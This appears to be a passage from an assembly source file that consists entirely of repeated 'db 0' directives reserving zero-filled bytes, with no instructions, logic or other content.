		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
